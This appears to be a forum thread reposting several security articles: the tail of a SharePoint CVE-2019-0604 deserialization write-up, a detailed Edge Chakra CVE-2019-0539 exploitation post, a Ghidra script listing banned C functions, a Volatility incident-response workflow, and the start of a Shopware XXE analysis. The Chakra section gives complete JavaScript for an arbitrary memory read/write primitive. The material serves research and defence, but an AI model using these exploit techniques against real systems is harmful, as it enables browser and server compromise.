    The next step is to go through the calls and see if the one of them originates from a point that can be initiated from outside and whether the argument value can also be supplied.Figure 2: Calls to  Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string)

    Figure 2: Calls to Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string)

    If you’re familiar with the ASP.NET, some of the methods might look familiar like Page_Load(object, EventArgs) or OnLoad(EventArgs). They are called during the ASP.NET life cycle, and the types they are defined in extend System.Web.UI.Page, the base type that represents .aspx files. And, in fact, all three types have a corresponding .aspx file:

         · Microsoft.SharePoint.ApplicationPages.ActionRedirectPage:
         /_layouts/15/ActionRedirect.aspx

         · Microsoft.SharePoint.ApplicationPages.DownloadExternalData:
         /_layouts/15/downloadexternaldata.aspx

         · Microsoft.SharePoint.Portal.WebControls.ProfileRedirect:
         /_layouts/15/TenantProfileAdmin/profileredirect.aspx

    Although in all three cases the parameter value originates from the HTTP request, it is from the URL's query string. That might become a problem as the hex encoding will multiply the length by 4 and thereby can get pretty long and exceed the limit of the HTTP request line.

    After further analysis, the last one of all, the ItemPicker.ValidateEntity(PickerEntity) method, turned out to be a better pick.Figure 3:  ItemPicker.ValidateEntity(PickerEntity)

    Figure 3: ItemPicker.ValidateEntity(PickerEntity)

    Here, the PickerEntity's Key property of the passed PickerEntity is used in the EntityInstanceIdEncoder.DecodeEntityInstanceId(string) call. It gets called by EntityEditor.Validate(), which iterates each entry stored in the EntityEditor.Entities property to validate it.Figure 4:  EntityEditor.Validate()

    Figure 4: EntityEditor.Validate()

    That method gets called by EntityEditor.LoadPostData(string, NameValueCollection), which implements the System.Web.UI.IPostBackDataHandler.LoadPostData(string, NameValueCollection) method.Figure 5:  EntityEditor.LoadPostData(string, NameValueCollection)

    Figure 5: EntityEditor.LoadPostData(string, NameValueCollection)

    So that method gets automatically called on post back requests to ItemPicker web controls. The call graph looks as follows:text1b.png

    Also note the type hierarchy:text2b.png

    Verifying the Data Flow

    Now that there is a way to reach the EntityInstanceIdEncoder.DecodeEntityInstanceId(string) from an ItemPicker web control post back, it is still unclear whether the Key property of a PickerEntity can be controlled as well.

    The EntityEditor.Entities property is backed by the private field m_listOrder, which gets only assigned at two points: during instantiation and within the EntityEditor.Validate() method. In the latter case, it gets the value of the private field m_listOrderTemp assigned (see line 597 in Fig. 4 above). That field, again, also only gets assigned at two points: during instantiation and within the EntityEditor.ParseSpanData(string) method. This method is also called by EntityEditor.LoadPostData(string, NameValueCollection) with the value of an HtmlInputHidden and the name "hiddenSpanData" (see line 707 in Fig. 5 above). That field's value can be controlled by the user.

    What is left is to see what EntityEditor.ParseSpanData(string) does with the passed data and whether it ends up as a PickerEntity's Key. We'll skip that because EntityEditor.ParseSpanData(string) is pretty long to show and unless it contains special constructs of nested <SPAN> and <DIV> tags, which get parsed out, everything else ends up in the PickerEntity's Key and then in m_listOrderTemp list.

    So, now we've found and traversed a vector that allows us to reach EntityInstanceIdEncoder.DecodeEntityInstanceId(string) from an ItemPicker's post back handling while also having control over the input. What is still left is to find an instance of that web control.

    Finding the Entry Point

    The ItemPicker web control is actually never used directly in an .aspx page. But when looking at the usages of its base type, EntityEditorWithPicker, it turned out that there is a Picker.aspx at /_layouts/15/Picker.aspx that uses it – what a coincidence!

    That page expects the type of the picker dialog to use to be provided via the "PickerDialogType" URL parameter in the form of its assembly-qualified name. Here, any of the two ItemPickerDialog types can be used:

         · Microsoft.SharePoint.WebControls.ItemPickerDialog in Microsoft.SharePoint.dll

         · Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog in Microsoft.SharePoint.Portal.dll

    Using the first ItemPickerDialog type shows the following page:Figure 6:  Picker.aspx  with  Microsoft.SharePoint.WebControls.ItemPickerDialog

    Figure 6: Picker.aspx with Microsoft.SharePoint.WebControls.ItemPickerDialog

    Here, the bottom text field is associated to the ItemPicker. And there is also the correspondent of the HtmlInputHidden with the name ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData that we were looking for. This is the source of our EntityInstanceIdEncoder.DecodeEntityInstanceId(string) sink.

    Proof of Concept

    When the form gets submitted with a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData value beginning with "__" (like "__dummy"), a break point at EntityInstanceIdEncoder.DecodeEntityInstanceId(string) will reveal the following situation.Figure 7: Break point at  EntityInstanceIdEncoder.DecodeEntityInstanceId(string)  with the  encodedId  value  "__dummy"

    Figure 7: Break point at EntityInstanceIdEncoder.DecodeEntityInstanceId(string) with the encodedId value "__dummy"

    At that point the call stack looks like this:

    text3b.png

    And when the other ItemPickerDialog type is used, just the two topmost entries are different and then look like this:

    This is the final proof that the data of ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData ends up in EntityInstanceIdEncoder.DecodeEntityInstanceId(string). The rest is only coping with entity instance id encoding and finding an appropriate XmlSerializer payload.


    After the patch was made available in February, Markus noticed something unusual. The original patch only addressed the Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder in Microsoft.SharePoint.dll but not the Microsoft.Office.Server.ApplicationRegistry.Infrastructure.EntityInstanceIdEncoder in Microsoft.SharePoint.Portal.dll.

    By using the EntityInstanceIdEncoder type from the Microsoft.SharePoint.Portal.dll with the Picker.aspx as described here, the exploit still worked even though the patch was installed. Microsoft addressed this with the re-release of CVE-2019-0604 yesterday.

    Special thanks to Markus for providing us such a great write-up. Markus can be found on Twitter at @mwulftange, and we certainly hope to see more submissions from him in the future. Until then, follow the team for the latest in exploit techniques and security patches.

     

    Sursa: https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

  8. CVE-2019-0539 Exploitation.

    Microsoft Edge Chakra JIT Type Confusion

    Rom Cyncynatu and Shlomi Levin

    Introduction.

    In continuation to our previous blog post that covered the root cause analysis of CVE-2019-0539, we now continue to explain how to achieve a full R/W (Read/Write) primitive which can ultimately lead to a RCE (Remote Code Execution). It’s important to note that Microsoft Edge processes are sandboxed and therefore in order to fully compromise a system an additional vulnerability is needed to escape the sandbox.

    We would like to acknowledge Lokihardt and Bruno Keith for their amazing research in this field which we found to be extremely valuable for the research presented below.

    Exploitation.

    As we have seen in the root cause analysis, the vulnerability gives us the ability to override a javascript object’s slot array pointer. Refer to the wondeful research of Bruno Keith presented at BlueHat IL 2019, and we learn that in Chakra, a javascript object (o={a: 1, b: 2};) is implemented in the Js::DynamicObject class which may have different memory layouts, and the properties slot array pointer is called auxSlots. From the DynamicObject class definition (in lib\Runtime\Types\DynamicObject.h), we see the actual specification of the three possible memory layouts for a DynamicObject that Bruno discusses:

    // Memory layout of DynamicObject can be one of the following:
    //        (#1)                (#2)                (#3)
    //  +--------------+    +--------------+    +--------------+
    //  | vtable, etc. |    | vtable, etc. |    | vtable, etc. |
    //  |--------------|    |--------------|    |--------------|
    //  | auxSlots     |    | auxSlots     |    | inline slots |
    //  | union        |    | union        |    |              |
    //  +--------------+    |--------------|    |              |
    //                      | inline slots |    |              |
    //                      +--------------+    +--------------+
    // The allocation size of inline slots is variable and dependent on profile data for the
    // object. The offset of the inline slots is managed by DynamicTypeHandler.
    

     

    So an object can have only an auxSlots pointer but no inline slots (#1), have only inline slots but no auxSlots pointer (#3), or have both (#2). In CVE-2019-0539 PoC, the ‘o’ object starts its lifespan in the (#3) memory layout form. Then, when the JIT code invokes the OP_InitClass function for the last time, the memory layout of object ‘o’ changes in-place to (#1). In particular, the exact memory layout of ‘o’ before and after the OP_InitClass fuction invocation by the JIT code is as follows:

        Before:                              After:
    +---------------+                   +--------------+   +--->+--------------+
    |    vtable     |                   |    vtable    |   |    |    slot 1    | // o.a
    +---------------+                   +--------------+   |    +--------------+
    |     type      |                   |     type     |   |    |    slot 2    | // o.b
    +---------------+                   +--------------+   |    +--------------+
    | inline slot 1 | // o.a            |   auxSlots   +---+    |    slot 3    |
    +---------------+                   +--------------+        +--------------+
    | inline slot 2 | // o.b            |  objectArray |        |    slot 4    |
    +---------------+                   +--------------+        +--------------+
    

     

    Before OP_InitClass invocation, the o.a property used to reside in the first inline slot. After the invocation, it resides in auxSlots array in slot 1. Thus, as we previously explained in the root cause analysis, the JIT code attempts to update the o.a property in the first inline slot with 0x1234, but since it is unaware to the fact that the object’s memory layout has changed, it actually overrides the auxSlots pointer.

    Now, in order to exploit this vulnerability and achieve an absolute R\W primitive, then as Bruno explains, we need to corrupt some other useful object and use it to read\write arbitrary addresses in memory. But first, we need to better understand the ability that the vulnerability gives us. As we override the auxSlots pointer of a DynamicObject, we can then “treat” whatever we put in auxSlots as our auxSlots array. Thus, if for example we use the vulnerability to set auxSlots to point to a JavascriptArray object as follows

    some_array = [{}, 0, 1, 2];
    ...
    opt(o, cons, some_array); // o->auxSlots = some_array
    

    then we can later override the ‘some_array’ JavascriptArray object memory by assigning ‘o’ with properties. This is described in the following diagram of the memory state after overriding auxSlots using the vulnerability:

          o                        some_array
    +--------------+   +--->+---------------------+
    |    vtable    |   |    |       vtable        | // o.a
    +--------------+   |    +---------------------+
    |     type     |   |    |        type         | // o.b
    +--------------+   |    +---------------------+
    |   auxSlots   +---+    |      auxSlots       | // o.c?
    +--------------+        +---------------------+
    |  objectArray |        |     objectArray     | // o.d?
    +--------------+        |- - - - - - - - - - -|
                            |      arrayFlags     |
                            |  arrayCallSiteIndex |
                            +---------------------+
                            |       length        | // o.e??
                            +---------------------+
                            |        head         | // o.f??
                            +---------------------+
                            |    segmentUnion     | // o.g??
                            +---------------------+
                            |        ....         |
                            +---------------------+
    

     

    Thus, theoretically, if for example we want to override the array length, we can do something like o.e = 0xFFFFFFFF, and then use some_array[1000] to access some distant address from the array’s base address. However, there are couple of issues:

    1. All other properties except ‘a’ and ‘b’ are not yet defined. This means that in order to have o.e defined in the right slot, we first need to assign all other properties as well, an operation that will corrupt much more memory than necessary, rendering our array unusable.
    2. The original auxSlots array is not large enough. It is initially allocated with only 4 slots. If we define more than 4 properties, the Js::DynamicTypeHandler::AdjustSlots function will allocate a new slots array, setting auxSlots to point to it instead of our JavascriptArray object.
    3. The 0xFFFFFFFF value that we plan put in the length field of the JavascriptArray object will not be written exactly as is. Chakra utilizes what’s called tagged numbers, and so the number that will be written would be “boxed”. (See further exaplanations in Chartra’s blog post here).
    4. Even if we were able to override just the length with some large value while avoiding corrupting the rest of the memory, this would only give us a “relative” R\W primitive (relative to the array base address), which is significantly less powerful than a full R\W primitive.
    5. In fact (spoiler alert), overriding the length field of a JavascriptArray is not useful, and it won’t lead to the relative R\W primitive that we would expect to achieve. What actually needs to be done in this particular case is to corrupt the segment size of the array, but we won’t get into that here. Still, let’s assume that overriding the length field is useful, as it is a good showcase of the subtleties of the exploitation.

    So, we need to come up with some special techniques to overcome the above mentioned issues. Let’s first discuss issues 1 and 2. The first thing that comes to mind is to pre-define more properties in ‘o’ object in advance, before triggering the vulnerability. Then, when overriding the auxSlots pointer, we already have o.e defined in the correct slot that corresponds to the length field of the array. Unfortunately, when adding more properties in advance, one of the two occures:

    • We change the object memory layout too early to layout (#1), hence inhibiting the vulnerability from occurring in the first place, as there is no chance of overriding the auxSlots pointer anymore.
    • We just create more inline slots that eventually remain inlined after triggering the vulnerability. The object ends up in layout (#2), with most of the properties reside in the new inlined slots. Therefore we still can’t reach slots higher than slot 2 in the alleged auxSlots array – the ‘some_array’ object memory.

    Bruno Keith in his presentation came up with a great idea to tackle issues 1 and 2 together. Instead of directly corrupting the target object (JavascriptArray in our example), we first corrupt another DynamicObject that was prepared in advance to have many properties, and is already in memory layout (#1):

    obj = {}
    obj.a = 1;
    obj.b = 2;  
    obj.c = 3;
    obj.d = 4;
    obj.e = 5;
    obj.f = 6;
    obj.g = 7;
    obj.h = 8;
    obj.i = 9;
    obj.j = 10;
    
    some_array = [{}, 0, 1, 2];
    ...
    
    opt(o, cons, obj); // o->auxSlots = obj
    
    o.c = some_array; // obj->auxSlots = some_array
    

     

    Let’s observe the memory before and after running o.c = some_array;:

    Before:
           o                      obj
    +--------------+   +--->+--------------+        +->+--------------+
    |    vtable    |   |    |    vtable    | //o.a  |  |    slot 1    | // obj.a
    +--------------+   |    +--------------+        |  +--------------+ 
    |     type     |   |    |     type     | //o.b  |  |    slot 2    | // obj.b
    +--------------+   |    +--------------+        |  +--------------+ 
    |   auxSlots   +---+    |   auxSlots   +--------+  |    slot 3    | // obj.c
    +--------------+        +--------------+           +--------------+ 
    |  objectArray |        |  objectArray |           |    slot 4    | // obj.d
    +--------------+        +--------------+           +--------------+ 
                                                       |    slot 5    | // obj.e
                                                       +--------------+ 
                                                       |    slot 6    | // obj.f
                                                       +--------------+ 
                                                       |    slot 7    | // obj.g
                                                       +--------------+
                                                       |    slot 8    | // obj.h
                                                       +--------------+
                                                       |    slot 9    | // obj.i
                                                       +--------------+
                                                       |    slot 10   | // obj.j
                                                       +--------------+
    
    After:
           o                      obj                        some_array
    +--------------+   +--->+--------------+        +->+---------------------+
    |    vtable    |   |    |    vtable    | //o.a  |  |       vtable        | // obj.a
    +--------------+   |    +--------------+        |  +---------------------+
    |     type     |   |    |     type     | //o.b  |  |        type         | // obj.b
    +--------------+   |    +--------------+        |  +---------------------+
    |   auxSlots   +---+    |   auxSlots   +-//o.c--+  |      auxSlots       | // obj.c
    +--------------+        +--------------+           +---------------------+
    |  objectArray |        |  objectArray |           |     objectArray     | // obj.d
    +--------------+        +--------------+           |- - - - - - - - - - -|
                                                       |      arrayFlags     |
                                                       |  arrayCallSiteIndex |
                                                       +---------------------+
                                                       |       length        | // obj.e
                                                       +---------------------+
                                                       |        head         | // obj.f
                                                       +---------------------+
                                                       |    segmentUnion     | // obj.g
                                                       +---------------------+
                                                       |        ....         |
                                                       +---------------------+
    

     

    Now, executing obj.e = 0xFFFFFFFF will actually replace the length field of the ‘some_array’ object. However, as explained in issue 3, the value will not be written as is, but rather in its “boxed” form. Even if we ignore issue 3, issues 4-5 still render our chosen object not useful. Therefore, we ought to choose another object to corrupt. Bruno cleverly opted for using an ArrayBuffer object in his exploit, but unfortunately, in commit cf71a962c1ce0905a12cb3c8f23b6a37987e68df (Merge 1809 October Update changes), the memory layout of the ArrayBuffer object was changed. Rather than pointing directly at the data buffer, it points to an intermediate struct called RefCountedBuffer via a bufferContent field, and only this struct points at the actual data. Therefore, a different solution is required.

    Eventually, we came up with the idea of corrupting a DataView object, which actually uses an ArrayBuffer internally. Therefore, it has similar advantages as to working with an ArrayBuffer, and it also directly points at the ArrayBuffer’s underlying data buffer! Here is the memory layout of a DataView object which is initialized with an ArrayBuffer (dv = new DataView(new ArrayBuffer(0x100));😞

                                                                                                 actual
          DataView                       ArrayBuffer                                             buffer
    +---------------------+   +--->+---------------------+            RefCountedBuffer      +--->+----+
    |       vtable        |   |    |       vtable        |   +--->+---------------------+   |    |    |
    +---------------------+   |    +---------------------+   |    |       buffer        |---+    +----+
    |        type         |   |    |        type         |   |    +---------------------+   |    |    |
    +---------------------+   |    +---------------------+   |    |      refCount       |   |    +----+
    |      auxSlots       |   |    |      auxSlots       |   |    +---------------------+   |    |    |
    +---------------------+   |    +---------------------+   |                              |    +----+
    |     objectArray     |   |    |     objectArray     |   |                              |    |    |
    |- - - - - - - - - - -|   |    |- - - - - - - - - - -|   |                              |    +----+
    |      arrayFlags     |   |    |      arrayFlags     |   |                              |    |    |
    |  arrayCallSiteIndex |   |    |  arrayCallSiteIndex |   |                              |    +----+
    +---------------------+   |    +---------------------+   |                              |    |    |
    |       length        |   |    |      isDetached     |   |                              |    +----+
    +---------------------+   |    +---------------------+   |                              |    |    |
    |     arrayBuffer     |---+    |     primaryParent   |   |                              |    +----+
    +---------------------+        +---------------------+   |                              |    |    |
    |     byteOffset      |        |     otherParents    |   |                              |    +----+
    +---------------------+        +---------------------+   |                              |    |    |
    |       buffer        |---+    |     bufferContent   |---+                              |    +----+
    +---------------------+   |    +---------------------+                                  |    |    |
                              |    |     bufferLength    |                                  |    +----+
                              |    +---------------------+                                  |
                              |                                                             |
                              +-------------------------------------------------------------+
    

     

    As we can see, the DataView object points to the ArrayBuffer object. The ArrayBuffer points to the the aforementioned RefCountedBuffer object, which then points to the actual data buffer in memory. However, as said, observe that the DataView object also directly points to the actual data buffer as well! If we override the buffer field of the DataView object with our own pointer, we actually achieve the desired absolute read\write primitive as required. Our obstacle is then only issue 3 – we can’t use our corrupted DynamicObject to write plain numbers in memory (tagged numbers…). But now, as DataView objects allow us to write plain numbers on its pointed buffer (see the DataView “API” for details), we can get inspired by Bruno once again, and have two DataView objects in which the first is pointing at the second, and precisely corrupting it how we want. This will solve the last remaining issue, and give us our wanted absolute R\W primitive.

    So let’s go over the entire exploitation process. See the drawing and explanation below (non interesting objects omitted):

           o                  obj                     DataView #1 - dv1                   DataView #2 - dv2
    +--------------+ +->+--------------+        +->+---------------------+          +->+---------------------+  +--> 0x????
    |    vtable    | |  |    vtable    | //o.a  |  |       vtable        | //obj.a  |  |       vtable        |  |       
    +--------------+ |  +--------------+        |  +---------------------+          |  +---------------------+  |       
    |     type     | |  |     type     | //o.b  |  |        type         | //obj.b  |  |        type         |  |       
    +--------------+ |  +--------------+        |  +---------------------+          |  +---------------------+  |       
    |   auxSlots   +-+  |   auxSlots   +-//o.c--+  |      auxSlots       | //obj.c  |  |      auxSlots       |  |       
    +--------------+    +--------------+           +---------------------+          |  +---------------------+  |       
    |  objectArray |    |  objectArray |           |     objectArray     | //obj.d  |  |     objectArray     |  |       
    +--------------+    +--------------+           |- - - - - - - - - - -|          |  |- - - - - - - - - - -|  |       
                                                   |      arrayFlags     |          |  |      arrayFlags     |  |       
                                                   |  arrayCallSiteIndex |          |  |  arrayCallSiteIndex |  |       
                                                   +---------------------+          |  +---------------------+  |       
                                                   |       length        | //obj.e  |  |       length        |  |       
                                                   +---------------------+          |  +---------------------+  |       
                                                   |     arrayBuffer     | //obj.f  |  |     arrayBuffer     |  |       
                                                   +---------------------+          |  +---------------------+  |       
                                                   |     byteOffset      | //obj.g  |  |     byteOffset      |  |       
                                                   +---------------------+          |  +---------------------+  |       
                                                   |       buffer        |-//obj.h--+  |       buffer        |--+//dv1.setInt32(0x38,0x??,true);
                                                   +---------------------+             +---------------------+   //dv1.setInt32(0x3C,0x??,true);
    

     

    1. Trigger the vulnerability to set ‘o’ auxSlots to ‘obj’ (opt(o, cons, obj);).
    2. Use ‘o’ to set ‘obj’ auxSlots to the first DataView (o.c = dv1;).
    3. Use ‘obj’ to set the first DataView (‘dv1’) buffer field to the next DataView object (obj.h = dv2;).
    4. Use the first DataView object ‘dv1’ to precisely set the buffer field of the second DataView object ‘dv2’ to our address of choice. (dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);). Notice how we write our chosen address (0xDEADBEEFDEADBEEF) to the exact offset (0x38) of the buffer field of ‘dv2’.
    5. Use the second DataView object (‘dv2’) to read\write our chosen address (dv2.getUint32(0, true); dv2.getUint32(4, true);).
      We repeat steps 4 and 5 for every read\write we want to perform.

    And here is the full R\W primitive code:

     

    // commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
    obj = {}
    obj.a = 1;
    obj.b = 2;
    obj.c = 3;
    obj.d = 4;
    obj.e = 5;
    obj.f = 6;
    obj.g = 7;
    obj.h = 8;
    obj.i = 9;
    obj.j = 10;
    
    dv1 = new DataView(new ArrayBuffer(0x100));
    dv2 = new DataView(new ArrayBuffer(0x100));
    
    BASE = 0x100000000;
    
    function hex(x) {
        return "0x" + x.toString(16);
    }
    
    function opt(o, c, value) {
        o.b = 1;
    
        class A extends c {}
    
        o.a = value;
    }
    
    function main() {
        for (let i = 0; i < 2000; i++) {
            let o = {a: 1, b: 2};
            opt(o, (function () {}), {});
        }
    
        let o = {a: 1, b: 2};
        let cons = function () {};
    
        cons.prototype = o;
    
        opt(o, cons, obj); // o->auxSlots = obj (Step 1)
        
        o.c = dv1; // obj->auxSlots = dv1 (Step 2)
        
        obj.h = dv2; // dv1->buffer = dv2 (Step 3)
        
        let read64 = function(addr_lo, addr_hi) {
            // dv2->buffer = addr (Step 4)
            dv1.setUint32(0x38, addr_lo, true);
            dv1.setUint32(0x3C, addr_hi, true);
            
            // read from addr (Step 5)
            return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
        }
        
        let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
            // dv2->buffer = addr (Step 4)
            dv1.setUint32(0x38, addr_lo, true);
            dv1.setUint32(0x3C, addr_hi, true);
            
            // write to addr (Step 5)
            dv2.setInt32(0, value_lo, true);
            dv2.setInt32(0, value_hi, true);
        }
        
        // get dv2 vtable pointer
        vtable_lo = dv1.getUint32(0, true);
        vtable_hi = dv1.getUint32(4, true);
        print(hex(vtable_lo + vtable_hi * BASE));
        
        // read first vtable entry using the R\W primitive
        print(hex(read64(vtable_lo, vtable_hi)));
        
        // write a value to address 0x1111111122222222 using the R\W primitive (this will crash)
        write64(0x22222222, 0x11111111, 0x1337, 0x1337);
    }
    
    main();
    

     

    Note: If you want to debug the code yourself (in WinDBG for example), a very convenient way would be to use “instruments” to break on interesting lines of the JS code. See these two useful ones below:

    • Set a breakpoint on ch!WScriptJsrt::EchoCallback to stop on print(); calls.
    • Set a breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked to stop on DynamicObject properties assignments that are performed by the interpreter. This is extremely useful to see how the javascript objects (‘o’ and ‘obj’) corrupt other objects in memory.

    Feel free to combine the two to navigate comfortably throughout the exploitation code.

    Summary.

    We have seen how we use the JIT corruption of the DynamicObject’s auxSlots to ultimately gain a full R\W primitive. We had to use the corrupted object to further corrupt other interesting objects – notably two DataView objects in which the first precisely corrupts the second to control the primitive’s address of choice. We had to bypass serveral limitations\issues imposed by working with the javascript’s DynamicObject “API”. Finally, be aware that gaining a full R\W primitive is only the first step of exploiting this bug. An attacker would still need to redirect execution flow to gain full RCE. However this is out of scope of this blog post, and could be considered as an exercise left for the reader.

     

    Sursa: https://perception-point.io/resources/research/cve-2019-0539-exploitation/

  9. Automating GHIDRA: Writing a Script to Find Banned Functions

    by Michael Fowl | Mar 9, 2019 | AppSec, Exploit Development, Malware Analysis

    Automating GHIDRA: Writing a Script to Find Banned Functions

    At VDA Labs we get excited about Reverse Engineering tools, and the recent release of NSA’s GHIDRA does not disappoint. The fact that it is free, supports many different CPU architectures, contains decompiler functionality, and allows many Reverse Engineers to work on the same project via a Team server, are some of the highlights. Another area of immediate interest to us was the scripting functionality. Much like IDA Pro, it is very easy to write scripts to help automate Reverse Engineering tasks.

    A Quick Script

    While playing with this functionality, we quickly wrote a script that searches through a program for the use of any unsafe functions. While not overly complicated, it demonstrates how fast and easy it is to extend GHIDRA’s functionality. We hope you have as much fun scripting GHIDRA as us!

    Get the script at VDA Labs’ Github!

     

    # This script locates potentially dangerous functions that could introduce a vulnerability if they are used incorrectly.
    #@author: VDA Labs (Michael Fowl)
    #@category Functions
     
    print "Searching for banned functions..."
     
    # Microsoft SDL banned.h list.
    blist = (["strcpy", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy",
    "StrCpyA", "StrCpyW", "lstrcpy", "lstrcpyA", "lstrcpyW", "_tccpy", "_mbccpy",
    "_ftcscpy", "strcat", "strcatA", "strcatW", "wcscat", "_tcscat", "_mbscat",
    "StrCat", "StrCatA", "StrCatW", "lstrcat", "lstrcatA", "lstrcatW", "StrCatBuff",
    "StrCatBuffA", "StrCatBuffW", "StrCatChainW", "_tccat", "_mbccat", "_ftcscat",
    "sprintfW", "sprintfA", "wsprintf", "wsprintfW", "wsprintfA", "sprintf", "swprintf",
    "_stprintf", "wvsprintf", "wvsprintfA", "wvsprintfW", "vsprintf", "_vstprintf",
    "vswprintf", "strncpy", "wcsncpy", "_tcsncpy", "_mbsncpy", "_mbsnbcpy", "StrCpyN",
    "StrCpyNA", "StrCpyNW", "StrNCpy", "strcpynA", "StrNCpyA", "StrNCpyW", "lstrcpyn",
    "lstrcpynA", "lstrcpynW", "strncat", "wcsncat", "_tcsncat", "_mbsncat", "_mbsnbcat",
    "StrCatN", "StrCatNA", "StrCatNW", "StrNCat", "StrNCatA", "StrNCatW", "lstrncat",
    "lstrcatnA", "lstrcatnW", "lstrcatn", "gets", "_getts", "_gettws", "IsBadWritePtr",
    "IsBadHugeWritePtr", "IsBadReadPtr", "IsBadHugeReadPtr", "IsBadCodePtr", "IsBadStringPtr"])
     
    # loop through program functions
    function = getFirstFunction()
    while function is not None:
    for banned in blist:
    if function.getName() == banned:
    print "%s found at %s" % (function.getName(),function.getEntryPoint())
    #function.setComment("Badness!")
    function = getFunctionAfter(function)
    print

     

    How to Run a GHIDRA Script

    Running one of the 238 included scripts, or adding your own script is quite easy. Simply drop the script on one of these directories.

    script-dirs.png

    Another option is creating your own script in the “Script Manager” interface.

    creat-script.png

    After creating the “FindBannedFunctions.py” GHIDRA script, simply run it on any program like is shown below.

    run-script.png

    The output for an example ARM program we are reversing in some of our previous IoT hacking blogs, should look something like the screen capture below.

    script-output-1080x569.png

    Simply double-click any of the identified memory addresses to visit the Banned Function entry point. Once there, you can press “Ctrl-Shift-F” to find any Cross-references where the Banned Function is used in the application. Happy GHIDRA scripting!  And if you need any reverse engineering support — we’d love to help.

    references.png

     

    Sursa: https://www.vdalabs.com/2019/03/09/automating-ghidra-writing-a-script-to-find-banned-functions/

  10. Volatility Workflow for Basic Incident Response

    Recently I found myself needing to do some investigations of full memory dumps. This was a pretty untried arena for me, even if it has been on my radar to learn for a while. After a bit of blindly stumbling around I found this article from Volatility-Labs which grounded me and gave me a good starting point to assess a memory dump. So take a peak, certainly there are much deeper techniques for malware analysis from memory, but this process should allow for basic analysis of any memory dump.

     

    First of course we need to collect a memory dump. There are many different tools for this if you want a write up on many of the options check out this article from Marcos Fuentes Martínez comparing acquisition tools. For my testing I chose to use DumpIt from Comae.

    dumpit-ex.png

    With the executable loaded to a flash drive I attached it to the system to investigate. Here I used it with the /T flag to copy the memory in a RAW format.

    .\DumpIt.exe /T RAW

    After the memory is acquired and taken to the analysis system, the first thing we need to find out is that memory profile we need to use so that our tools known how to read the dump. In this case I will be using the open source tool Volatility to query and analyze the dump. I recommend downloading the standalone executable from their download page to avoid dependency issues.  For Volatility the command to run is imageinfo, this should run for a while and then output recommended memory profiles.

    vol1.png

    Now with a profile in hand we can query some data that any System Admin should be familiar with, running processes and networking activity.

    –profile: sets volatility to know how to process the memory dump

    -f: designates the file for volatility to ingest (the raw memory file)

    pslist: list running processes

    netscan: network activity, similar to a netstat on many OS’s

    vol2.png

    vol3.png

    Looking at this data out analyst may be able to notice some oddities, or be able to check with a baseline or the system owner for a list of known good activity from the system. (8443 anyone?)

    After querying and inspecting the live data lets take stock of the loaded executables. To do this we will dump all DLL’s and loaded modules.

    Here we will use the -D flag to dump the files to an output directory.

    dlldump: dump loaded dlls

    moddump: dump loaded modules

    vol4.png

    vol5.png

    Next we will use the volatility module malfind to look for code injection in running processes and also dump this to an output directory.

    malfind: look for injected shellcode

    vol9.png

    After collecting this data we will scan it using known IOC’s. In this case I used ClamAV, Loki, and SparkCore (In order below). Each of these were able to pick up on the malicious running code.

    vol6.png

    vol7.png

    vol8.png

    So now our front line incident responder can confirm that the system has malicious code present in memory and can escalate the case appropriately. Have questions hit me up on twitter @laskow26, and references below:

    https://volatility-labs.blogspot.com/2016/08/automating-detection-of-known-malware.html

    https://downloads.volatilityfoundation.org//releases/2.4/CheatSheet_v2.4.pdf

    https://unminioncurioso.blogspot.com/2019/02/dfir-choose-your-weapon-well-calculate.html

    Finding Metasploit’s Meterpreter Traces With Memory Forensics

     

     

    Sursa: https://laskowski-tech.com/2019/02/18/volatility-workflow-for-basic-incident-response/

  11. Shopware 5.3.3: PHP Object Instantiation to Blind XXE

    8 Nov 2017 by Karim El Ouerghemmi
    Shopware Object Instantiation

    Shopware is a popular e-commerce software. It is based on PHP using technologies like Symfony 2, Doctrine and the Zend Framework. The code base of its open source community edition encompasses over 690,000 lines of code which we scanned for security vulnerabilities with our RIPS static code analyzer.

    The analysis of this complex code base took roughly 4 minutes. RIPS discovered two vulnerabilities: a PHP object instantiation and a SQL injection which we disclosed to the vendor and were fixed in version 5.3.4. In this blog post we investigate the rare object instantiation vulnerability (CVE-2017-18357). We describe how it can occur and how it can be exploited by an attacker in order to retrieve arbitrary files from the server.

     

    Who is affected

    Installations with following requirements are affected by this vulnerabilities:

    • Shopware version <= 5.3.3 and >= 5.1

    Impact - What can an attacker do

    In order to exploit the found vulnerabilities an attacker needs to be able to use the backend functionality of Shopware, specifically, the configuration of product streams. However, it is sufficient if the attacker can control the session of an account with limited permissions.

    Successfully exploiting the object instantiation vulnerability grants an attacker the ability to instantiate an object in the PHP application of an arbitrary class. By using a blind XXE attack described in this blog post, this can lead to the disclosure of any file on the server (as long as the user associated with the PHP process has the required permissions). This can for example, be any confidential file of the shopware installation like config.php which contains the database credentials.

    PHP Object Instantiation

    In this section we will technically analyse the object instantiation vulnerability by examining the flow of data from the input to the dangerous sink. Furthermore, we will present a way of how such a vulnerability can be exploited by escalating it into a blind XXE attack. This sort of vulnerability is not very often to find, and thus an interesting candidate for our inspection.

    RIPS automatically identified the object instantiation vulnerability that spans over multiple files and classes. The point of injection resides in the feature to preview product streams in the shopware backend. Here, the user parameter sort is received in the loadPreviewAction() method of the Shopware_Controllers_Backend_ProductStream controller.

     

    Controllers/Backend/ProductStream.php

     1 2 3 4 5 6 7 8 9101112
    class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application
    {
        public function loadPreviewAction()
        {
            
            $sorting = $this->Request()->getParam('sort');
            
            $streamRepo = $this->get('shopware_product_stream.repository');
            $streamRepo->unserialize($sorting);
            
        }
    }

     
